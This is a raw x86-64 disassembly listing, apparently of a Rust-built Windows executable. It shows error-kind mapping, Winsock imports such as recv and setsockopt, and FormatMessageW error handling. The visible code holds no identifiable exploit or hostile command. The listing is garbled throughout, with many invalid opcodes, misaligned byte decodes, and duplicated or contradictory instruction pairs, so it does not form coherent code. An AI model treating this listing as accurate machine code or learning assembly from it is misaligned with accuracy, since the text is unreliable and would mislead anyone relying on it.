mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
call fcn.140059e20
test al, al
je 0x1401338e3
mov al, 1
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
and byte [r13 + 0x31], al
leave
cmp byte [rcx + 0x18], 2
cmovne r9, rcx
mov rcx, rdx
mov rdx, rax
jmp fcn.140130cb0
cli
add dh, byte [rdx + 5]
test rcx, rcx
jne 0x140133d3f
add rsp, 0x40
pop rbp
ret
lea rcx, [rax - 1]
mov qword [rbp - 0x20], rcx
invalid
invalid
invalid
invalid
adc byte [rax - 0x75], cl
call 0x1488bc0a9
add byte [rsp + 0x48], dh
and al, 0x48
mov eax, dword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x140133d88
invalid
and al, 0x48
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x140133d71
mov r8, qword [rbp - 0x10]
jmp case.0x14012f071.986
invalid
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x342a0
invalid
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp - 0x20]
add rsp, 0x40
add esp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
and al, 0x10
push rbp
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
push 0x40
in al, dx
and byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.14012dad0
pushfq
invalid
dec dword [rax - 0x75]
loopne 0x140133dc0
xchg esp, eax
push 0x48900000
invalid
nop
invalid
add byte [rax + 0x20c48348], dl
int3
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
adc r14b, r15b
adc dh, bh
invalid
mov rdx, qword [rcx]
mov eax, edx
and eax, 3
lea rcx, [0x14020b760]
jns 0x140133e29
add byte [rax + 0x63], cl
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
or byte [rax - 0x77], cl
int1
mov rdx, rax
add rsp, 0x98
invalid
cwde
add byte [rax], al
invalid
invalid
cwde
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140059ad0
pop rsp
invalid
invalid
dec dword [rax - 0x75]
invalid
mov rax, qword [rax + 0x20]
mov rdx, rsi
mov edx, esi
and byte [rax - 0x77], cl
and byte [rax - 0x77], cl
mov edx, esi
add rsp, 0x98
add rsp, 0x98
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop rbp
jmp rax
jmp rax
jmp rax
or al, 0x48
lea edi, [rbp - 0x10]
invalid
invalid
mov rcx, rdi
stc
call case.0x14010e86a.827
mov ebp, 0x48000003
mov qword [rbp - 0x30], rdi
lea rax, [0x140013940]
cli
in eax, dx
dec dword [rax - 0x77]
invalid
invalid
mov qword [rbp - 0x28], rax
fmul dword [r8 - 0x73]
or al, 0x48
or al, 0x48
lea rax, [rbp + 0xc]
mov qword [rbp - 0x20], rax
or al, 0x48
mov dword [rbp - 0x20], eax
lea rax, [0x140061100]
add eax, 0xfff2d26f
dec dword [rax - 0x77]
mov qword [rbp - 0x18], rax
lea rax, [0x1401db5e8]
lea eax, [0x1401db5e8]
call 0x18c18cbe1
ja 0x140133ea5
add byte [rax - 0x77], cl
movabs al, byte [0x3a845c748]
mov qword [rbp - 0x58], 3
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x60], eax
mov qword [rbp - 0x58], 3
test al, 3
add byte [rax], al
add byte [rax - 0x39], cl
rol byte [r8], 0
add byte [rax], al
mov qword [rbp - 0x40], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
ror byte [rax - 0x77], 1
mov r8b, 0x48
mov dword [rbp - 0x48], 2
add byte [rax], al
invalid
mov qword [rbp - 0x48], 2
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rbp - 0x60]
lea eax, [rbp - 0x60]
lea eax, [rbp - 0x60]
movabs al, byte [0x48c389fff25f4fe8]
call fcn.140059e20
mov ebx, eax
pop rdi
dec dword [rcx + 0x7d8348c3]
cmp qword [rbp - 8], 0
invalid
test byte [rbx + rax], dl
adc al, 3
cmp qword [rbp - 8], 0
je fcn.1401341f2
adc al, 3
add byte [rax], al
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
invalid
invalid
invalid
adc al, 0xe
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x34137
invalid
add cl, ch
cld
add al, byte [rax]
add byte [rax - 0x3f], cl
invalid
invalid
invalid
shr rdx, 0x20
shr edx, 0x20
and byte [rax - 0x73], cl
lea rax, [0x14020b770]
add eax, 0xd786f
outsd dx, dword [rsi]
js case.0x140130f48.82
add byte [rax + 0x63], cl
movsxd rcx, dword [rax + rdx*4]
or al, 0x90
add rcx, rax
jmp rcx
loope case.0x140107dc6.838
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
lea eax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
cmpsd dword [rsi], dword [rdi]
jae 0x140133f1a
add byte [rcx + 0x10], bh
mov ecx, reloc.WS2_32.dll_recv
adc byte [rax], al
add byte [rax], al
add cl, ch
jle case.0x140133f08.1
invalid
jmp fcn.140134199
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401db2c8]
add eax, 0xa73a6
add byte [rcx + 0x11], bh
mov ecx, setsockopt
adc dword [rax], eax
add byte [rax], al
jmp fcn.140134199
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1401db2d9]
add byte [rax], al
lea rax, [0x1401db2d9]
lea eax, [0x1401db2d9]
or al, byte [rax]
mov ecx, setsockopt
adc al, byte [rax]
add byte [rax], al
add cl, ch
add byte [rax], al
jmp fcn.140134199
pop rsp
add al, byte [rax]
add byte [rax], al
lea rax, [0x1401db2eb]
add byte [rax], al
lea rax, [0x1401db2eb]
cmpsd dword [rsi], dword [rdi]
jae case.0x140132814.24
add byte [rcx + 0x10], bh
mov ecx, reloc.WS2_32.dll_recv
adc byte [rax], al
add byte [rax], al
add cl, ch
add al, byte [r8]
invalid
jmp fcn.140134199
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73a6
cmpsb byte [rsi], byte [rdi]
jae case.0x140107dc6.841
or al, byte [rax]
lea rax, [0x1401db2fb]
cmpsb byte [rsi], byte [rdi]
jae case.0x140107dc6.841
invalid
or al, byte [rax]
add byte [rcx + 0x10], bh
mov ecx, reloc.WS2_32.dll_recv
add byte [rax], al
jmp fcn.140134199
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73a5
movsd dword [rdi], dword [rsi]
jae case.0x140132814.26
invalid
lea rax, [0x1401db30b]
movsd dword [rdi], dword [rsi]
jae case.0x140132814.26
add cl, ch
sub dword [rdx], eax
invalid
jmp 0x140134194
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73ac
lodsb al, byte [rsi]
jae 0x140133f7b
invalid
lea rax, [0x1401db31e]
lodsb al, byte [rsi]
jae 0x140133f7b
add byte [rcx + 0x12], bh
mov ecx, setsockopt
adc al, byte [rax]
add byte [rax], al
add byte [rax], al
add cl, ch
jmp fcn.140134199
sbb eax, 0x48000002
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73ad
lodsd eax, dword [rsi]
jae 0x140133f8c
invalid
lea rax, [0x1401db330]
lea eax, [0x1401db330]
lodsd eax, dword [rsi]
jae 0x140133f8c
add byte [rcx + 0xd], bh
mov ecx, recv
or eax, 0xe9000000
or al, 2
invalid
add byte [rax], al
jmp fcn.140134199
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401db33d]
add eax, 0xa73a9
test eax, 0xb9000a73
mov ecx, recv
jmp fcn.140134199
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401db34b]
add byte [rax], al
lea rax, [0x1401db34b]
cmpsb byte [rsi], byte [rdi]
jae 0x140133fae
add byte [rcx + 0x15], bh
mov ecx, reloc.WS2_32.dll_setsockopt
adc eax, 0xe9000000
add cl, ch
jmp fcn.140134199
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73aa
stosb byte [rdi], al
jae 0x140133fbf
invalid
lea rax, [0x1401db360]
lea eax, [0x1401db360]
stosb byte [rdi], al
jae 0x140133fbf
add byte [rcx + 0xc], bh
mov ecx, recv
or al, 0
add byte [rax], al
jmp fcn.140134199
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73a5
movsd dword [rdi], dword [rsi]
jae 0x140133fd0
or al, byte [rax]
lea rax, [0x1401db36c]
movsd dword [rdi], dword [rsi]
jae 0x140133fd0
invalid
or al, byte [rax]
add byte [rcx + 0xb], bh
mov ecx, 0xb
or eax, dword [rax]
add byte [rax], al
jmp fcn.140134199
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401db377]
add eax, 0xa739f
lahf
jae case.0x140132814.33
add byte [rcx + 0x15], bh
mov ecx, reloc.WS2_32.dll_setsockopt
adc eax, 0xe9000000
add byte [rax], al
add cl, ch
invalid
jmp fcn.140134199
mov bh, 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73a3
invalid
jae case.0x140132814.34
invalid
lea rax, [0x1401db38c]
movabs dword [0x15b9000a73], eax
mov ecx, reloc.WS2_32.dll_setsockopt
adc eax, 0xe9000000
add byte [rax], al
add cl, ch
jmp fcn.140134199
cmpsb byte [rsi], byte [rdi]
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401db3a1]
add byte [rax], al
lea rax, [0x1401db3a1]
lea eax, [0x1401db3a1]
cmpsd dword [rsi], dword [rdi]
jae case.0x140132814.35
add byte [rcx + 0xf], bh
mov ecx, recv
sldt word [rax]
add cl, ch
invalid
xchg ebp, eax
jmp fcn.140134199
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73a5
movsd dword [rdi], dword [rsi]
jae case.0x140132814.36
invalid
lea rax, [0x1401db3b0]
movsd dword [rdi], dword [rsi]
jae case.0x140132814.36
mov ecx, recv
invalid
jmp fcn.140134199
add byte [rax], al
lea rax, [0x1401db3be]
jmp 0x140134194
jae case.0x14010e86a.824
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401db3d1]
add eax, 0xa73a9
test eax, 0xb9000a73
mov ecx, 0x26
jmp fcn.140134199
add dword [eax], eax
invalid
add byte es:[rax], al
add cl, ch
add dword [eax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401db3f7]
add eax, 0xa73be
mov esi, 0xb9000a73
cmp byte [rax], al
add byte [rax], al
mov ecx, 0x38
jmp fcn.140134199
push rsi
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401db42f]
lea rax, [0x1401db42f]
in eax, 0x73
or al, byte [rax]
mov ecx, 0x19
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db448]
in eax, dx
jae 0x140134064
add byte [rcx + 0x17], bh
mov ecx, 0x17
jmp fcn.140134199
add byte [rax - 0x73], cl
add eax, 0xa73f3
jae 0x140134075
invalid
lea rax, [0x1401db45f]
jae 0x140134075
add byte [rcx + 0xc], bh
mov ecx, recv
jmp fcn.140134199
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xa73ee
out dx, al
jae 0x140134086
invalid
lea rax, [0x1401db46b]
lea eax, [0x1401db46b]
out dx, al
jae 0x140134086
mov ecx, 9
add cl, ch
adc al, byte [rcx]
jmp fcn.140134199
add byte [rax], al
lea rax, [0x1401db474]
mov ecx, 0xa
or al, byte [rax]
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db47e]
or al, byte [rax]
mov ecx, reloc.WS2_32.dll_recv
jmp fcn.140134199
add byte [rax], al
add cl, ch
lock add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x1401db48e]
add eax, 0xa73de
add byte [rcx + 0x17], bh
mov ecx, 0x17
jmp fcn.140134199
add byte [rax - 0x73], cl
add eax, 0xa73e4
in al, 0x73
or al, byte [rax]
lea rax, [0x1401db4a5]
in al, 0x73
or al, byte [rax]
mov ecx, 0x19
jmp fcn.140134199
invalid
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
lea rax, [0x1401db4be]
mov ecx, recv
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db4cc]
mov ecx, recv
jmp fcn.140134199
add byte [rax], al
or eax, 0xe9000000
lodsb al, byte [rsi]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73e5
or al, byte [rax]
lea rax, [0x1401db4d9]
or al, byte [rax]
mov ecx, setsockopt
jmp fcn.140134199
lea rax, [0x1401db4ed]
add eax, 0xa73e8
mov ecx, 8
jmp fcn.140134199
add byte [rax], al
add byte [rax], al
add cl, ch
mov al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa73df
invalid
lea rax, [0x1401db4f5]
add byte [rcx + 0x1b], bh
mov ecx, 0x1b
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db510]
mov ecx, recv
invalid
add byte [rax], al
invalid
jae case.0x14012f071.1010
invalid
jmp fcn.140134199
lea rax, [0x1401db51e]
add eax, 0xa73ec
add byte [rcx + 0x10], bh
mov ecx, reloc.WS2_32.dll_recv
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db52e]
mov ecx, reloc.WS2_32.dll_shutdown
invalid
add byte [rax], al
invalid
jae case.0x14012f071.1017
invalid
jmp fcn.140134199
lea rax, [0x1401db544]
add eax, 0xa73f6
add byte [rcx + 0x15], bh
mov ecx, reloc.WS2_32.dll_setsockopt
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db559]
mov ecx, 0xb
or eax, dword [rax]
add byte [rax], al
jae case.0x14012f071.1024
or eax, dword [rax]
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db564]
add eax, 0xa73fa
add byte [rcx + 0x16], bh
mov ecx, reloc.WS2_32.dll_shutdown
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db57a]
je case.0x14012f071.1031
mov ecx, recv
or eax, 0xeb000000
sbb cl, byte [rax - 0x73]
invalid
invalid
jmp fcn.140134199
lea rax, [0x1401db587]
add eax, 0xa7401
add byte [rcx + 0xb], bh
mov ecx, 0xb
add byte [rax], al
jmp fcn.140134199
lea rax, [0x1401db592]
jae case.0x1400693d1.3237
mov ecx, reloc.WS2_32.dll_send
adc eax, dword [rax]
add byte [rax], al
rol byte [rcx - 0x48], 0
adc byte [rax], al
add byte [rax - 0x77], cl
fnstenv [rcx]
shr al, cl
add ecx, dword [rcx - 0x40befffe]
add byte [rdx], dl
add byte [rax], al
test edi, 0x10000000
je 0x1401342b4
lea rcx, [0x1401dc9f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401342b1
mov r14, rax
xor edi, 0x10000000
add byte [rax], dl
add byte [rax], dl
mov dword [rbp + 0x103c], edi
mov r15d, 0x1a00
jmp 0x1401342b4
xor r14d, r14d
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800
mov ecx, r15d
mov rdx, r14
mov r8d, edi
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
test eax, eax
je case.0x140107dc6.892
add byte [rbp + 0x415574c0], al
mov eax, eax
invalid
mov r8d, eax
sar byte [case.0x140107dc6.947], 0xf
cmp eax, 0x801
jae 0x1401345ae
add eax, 2
add byte [rax], al
add eax, 2
add byte [rax], al
lea rcx, [rbp + 0x1020]
lea rdx, [rbp - 0x40]
push rbp
shr al, 0x72
or dh, ch
invalid
lea esp, [rax]
adc byte [rax], al
add byte [rax - 0x73], cl
push rbp
shr al, 0x72
or dh, ch
dec dword [rax - 0x75]
mov rax, qword [rbp + 0x1020]
test rax, rax
je case.0x14010e86a.846
test bh, al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x1020]
test rax, rax
je case.0x14010e86a.846
test bh, al
add byte [rax], al
invalid
test bh, al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x1028]
lea ebp, [rax]
adc byte [rax], al
sub byte [rax], dl
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x7b], cl
xor byte [rax], dl
adc byte [rax], al
invalid
mov r8, qword [rbp + 0x1030]
adc byte [rax], al
add byte [rbp - 0x7b], cl
invalid
test r8, r8
test eax, eax
ror byte [rdi], 0x84
je 0x140134567
test byte [rdx + 2], al
add byte [rax], al
add al, byte [rax]
add byte [rsi - 0x73], cl
lea r10, [rax + r8]
lea r10, [rax + r8]
lea r9, [0x1401ddf28]
or eax, 0xa9bf8
wait
or al, byte [rax]
jmp 0x140134479
add dword [rax], r8d
add dword [rax], eax
add al, ch
invalid
call sub.KERNEL32.dll_GetLastError
mov dword [rbp + 0x1010], eax
adc byte [rax], al
invalid
add byte [rcx + 0x101085], cl
adc byte [rax], al
add byte [rax - 0x73], cl
test dword [rax + rdx], edi
lea rax, [rbp + 0x103c]
lea eax, [rbp + 0x103c]
add byte [rax], al
mov qword [rbp + 0xff0], rax
test eax, esi
sldt word [rax]
invalid
add byte [rax - 0x73], cl
add eax, 0xfff2cdab
stosd dword [rdi], eax
int 0xf2
invalid
lea rax, [0x140061100]
stosd dword [rdi], eax
int 0xf2
dec dword [rax - 0x77]
invalid
invalid
test eax, edi
mov qword [rbp + 0xff8], rax
sldt word [rax]
lea rcx, [rbp + 0x1010]
lea ecx, [rbp + 0x1010]
add byte [rax], al
mov qword [rbp + 0x1000], rcx
lea eax, [rax]
adc byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], ecx
or byte [rax], dl
add byte [rax], al
lea rax, str.OS_Error___FormatMessageW___returned_error
mov qword [rbp + 0x1008], rax
or byte [rax], dl
add byte [rax], al
lea rax, str.OS_Error___FormatMessageW___returned_error
xchg byte [rdx], cl
add byte [rax - 0x77], cl
mov qword [rbp + 0xfc0], rax
mov qword [rbp + 0xfc0], rax
mov dword [rbp + 0xfc0], eax
add byte [rax], al
mov qword [rbp + 0xfc8], 3
test eax, ecx
sldt word [rax]
invalid
add byte [rbx], al
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, esp
invalid
mov qword [rbp + 0xfe0], 0
loopne 0x14013439e
sldt word [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
test eax, esi
sldt word [rax]
invalid
lea rax, [rbp + 0xff0]
add byte [rax - 0x77], cl
mov qword [rbp + 0xfd0], rax
test eax, edx
sldt word [rax]
invalid
add byte [rax - 0x39], cl
test eax, ebx
sldt word [rax]
invalid
mov qword [rbp + 0xfd8], 2
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
add al, byte [rax]
add byte [rax], al
lea rcx, [rbp + 0x1020]
lea esp, [rax]
adc byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [rbp + 0xfc0]
xchg ebp, eax
ror byte [rdi], 0
sldt word [rax]
invalid
call fcn.140014120
pop rdi
std
in eax, dx
dec dword [rax - 0x75]
invalid
invalid
test dword [rax], esi
mov rax, qword [rbp + 0x1030]
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
adc byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsi + 0x10], eax
invalid
movups xmm0, xmmword [rbp + 0x1020]
adc byte [rbp + 0x1020], al
jmp 0x140134453
lea rax, [rbp + 0x103c]
add byte [rax], al
mov qword [rbp + 0x1010], rax
add byte [rax], al
lea rax, [0x140061100]
dec dword [rax - 0x77]
mov qword [rbp + 0x1018], rax
test dword [rax], ebx
adc byte [rax], al
add byte [rax], al
lea rax, str.OS_Error___FormatMessageW___returned_error
add byte [rax], al
lea rax, str.OS_Error___FormatMessageW___returned_error
or al, byte [rax]
mov qword [rbp + 0xfc0], rax
add byte [rax], al
mov qword [rbp + 0xfc8], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rbp + 0xfe0], 0
mov dword [rbp + 0xfe0], 0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
test dword [rax], edx
lea rax, [rbp + 0x1010]
mov qword [rbp + 0xfd0], rax
mov dword [rbp + 0xfd0], eax
adc byte [rax], al
add byte [rax - 0x77], cl
invalid
test eax, edx
sldt word [rax]
mov qword [rbp + 0xfd8], 1
sldt word [rax]
add dword [rax], eax
add byte [rax], al
invalid
lea rcx, [rbp + 0xff0]
lea rdx, [rbp + 0xfc0]
call fcn.140014120
mov rax, qword [rbp + 0x1000]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xff0]
movups xmmword [rsi], xmm0
jmp 0x140134574
cmp r10, rax
je 0x140134567
mov rdx, r10
movzx r11d, byte [r10 - 1]
test r11b, r11b
js 0x140134490
test byte [r11 + r9], 2
jne 0x140134470
sub rdx, rax
cmp r8, rdx
jae 0x140134584
mov rdx, r8
jmp 0x140134569
xor edx, edx
mov qword [rsi], rax
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
add rsp, 0x10c8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
test rdx, rdx
je 0x140134569
cmp r8, rdx
jbe 0x140134569
cmp byte [rax + rdx], 0xbf
jg 0x140134569
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140204970]
lea eax, [0x140204970]
mov edx, 0x30
call fcn.140160fb0
add al, 0xca
add al, byte [rax]
ud2
lea rax, str.library_std_src_syswindowsos.rs
mov edx, 0x800
mov rcx, r8
mov r8, rax
call fcn.140160f40
jnp 0x14013458c
add al, byte [rax]
ud2
add al, ch
pushfq
invalid
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
cmp rcx, rdi
je 0x1401347dd
add dword [rax], eax
invalid
lea r8, [r14 + rcx]
mov r12, rcx
mov esp, ecx
mov rdx, r8
jmp 0x14013468f
invalid
add rdx, 2
cmp rax, r13
cmp eax, ebp
cmovne rax, rdx
mov r10d, 2
nop dword [rax + rax]
add byte [rax], r8b
add r12, r10
mov rdx, rax
mov edx, eax
mov edx, eax
cmp rax, r13
je 0x1401347e0
push rcx
add dword [rax], eax
invalid
push rcx
add dword [rax], eax
add byte [rax - 0x73], cl
add dword [rdi + r9 - 0x4a], eax
add dword [rdi + rcx - 0x4a], eax
lea rax, [rdx + 1]
add dword [rdi + rcx - 0x4a], eax
movzx r9d, byte [rdx]
mov r10d, 1
add dword [rax], eax
add byte [rax], al
or al, byte [rcx - 0x46]
add dword [rax], eax
add byte [rax], al
test r9b, r9b
jns 0x140134680
cmp r9b, 0xe0
jb 0x14013466a
invalid
ret 0x8041
cmp r9b, 0xed
jne 0x1401346e1
cmp rax, r13
je 0x1401347e0
add byte [rax], al
lea r9, [rdx + 2]
cmp r9, r13
cmp ecx, ebp
cmp ecx, ebp
je 0x1401347e0
add byte [rdi], cl
mov dh, 0x42
add dword [rdi], ecx
mov bh, 0xc0
invalid
movzx eax, byte [rdx + 1]
movzx eax, ax
invalid
sar byte [0x140134770], 0x77
cmp eax, 0x9f
ja 0x14013471d
invalid
add rdx, 3
add rdx, 3
mov r10d, 3
add eax, dword [rax]
add byte [rax], al
mov rax, rdx
jmp 0x140134680
add rdx, 2
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
cmove rdx, rax
xor eax, eax
ror byte [rcx + rdi - 0x16], 0xf
xchg ebp, eax
invalid
ror byte [rcx + rdi - 0x16], 0xf
xchg ebp, eax
ror byte [rax + 1], 0xd0
add rax, rdx
add rax, rdx
mov r10d, 3
add byte [rax], al
cmp r9b, 0xf0
jb 0x140134680
invalid
jns 0x140134704
invalid
invalid
invalid
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
add eax, edx
add eax, edx
mov r10d, 4
jmp 0x140134680
add cl, ch
invalid
movzx edx, byte [r9]
movzx edx, byte [rcx]
and eax, 0x1f
shl eax, 6
loopne 0x14013472d
loopne 0x14013472d
and edx, 0x3f
add eax, edx
add eax, 0xd800
add al, bl
add byte [rax], al
mov word [rsp + 0x26], ax
and al, 0x26
mov r9, r12
sub r9, rcx
sub ecx, ecx
sub ecx, ecx
jb 0x140134822
add byte [rcx + 0x39], cl
cld
cmp r12, rdi
ja 0x140134833
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, r15
mov edx, edi
call fcn.140134850
test al, al
jne 0x14013480f
invalid
add byte [rax - 0x73], cl
and al, 0x26
lea rax, [rsp + 0x26]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
lea rax, [0x14005a340]
mov qword [rsp + 0x30], rax
and al, 0x30
rcr dword [rbx - 0xe], 1
dec dword [rax - 0x77]
and al, 0x30
and al, 0x30
and al, 0x30
lea rax, str.u
or al, byte [rax]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov dword [rsp + 0x40], 2
add byte [rax], al
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
mov rdx, r15
lea r8, [rsp + 0x38]
call fcn.140059e20
invalid
invalid
test al, al
jne 0x14013480f
inc dword [rax + rax*8 - 0x7cb6a98b]
invalid
add r12, 3
mov rcx, r12
cmp r12, rdi
jbe 0x140134655
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, rdi
call fcn.140160e60
test esi, eax
add al, byte [rax]
ud2
mov rcx, rdi
sub rdi, rcx
add r14, rcx
mov rcx, rsi
mov rdx, r15
mov r8, r14
mov r9, rdi
call fcn.140134850
test al, al
jne 0x14013480f
lea rdx, str._C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcutilwake_list.rs
mov r8d, 1
mov rcx, rsi
call rbp
mov ebx, eax
mov eax, ebx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r12
call fcn.140161190
add al, byte [rax]
add al, byte [rax]
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
push rsi
js 0x140134843
mov rdx, rdi
call fcn.140160f40
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
add byte [rax], al
add byte [rdi + rcx + 0x29], al
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edi
mov esp, 0xb024
invalid
add byte [rax], al
add byte [rdi + rcx + 0x29], al
test byte [rax + rax*8], ah
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edi
mov esp, 0xb024
invalid
mov esp, 0xb024
add byte [rdi], cl
movaps xmmword [rsp + 0xa0], xmm6
sub dword [rsp + 0xa0], esi
mov rdi, r8
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x88], rcx
and al, 0x88
add byte [rax], al
add byte [rbp + 1], cl
ror dword [rcx + rcx*4 + 0x44], 0x24
invalid
mov qword [rsp + 0x98], r9
mov dword [rsp + 0x98], ecx
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rcx*4], fs
and al, 0x88
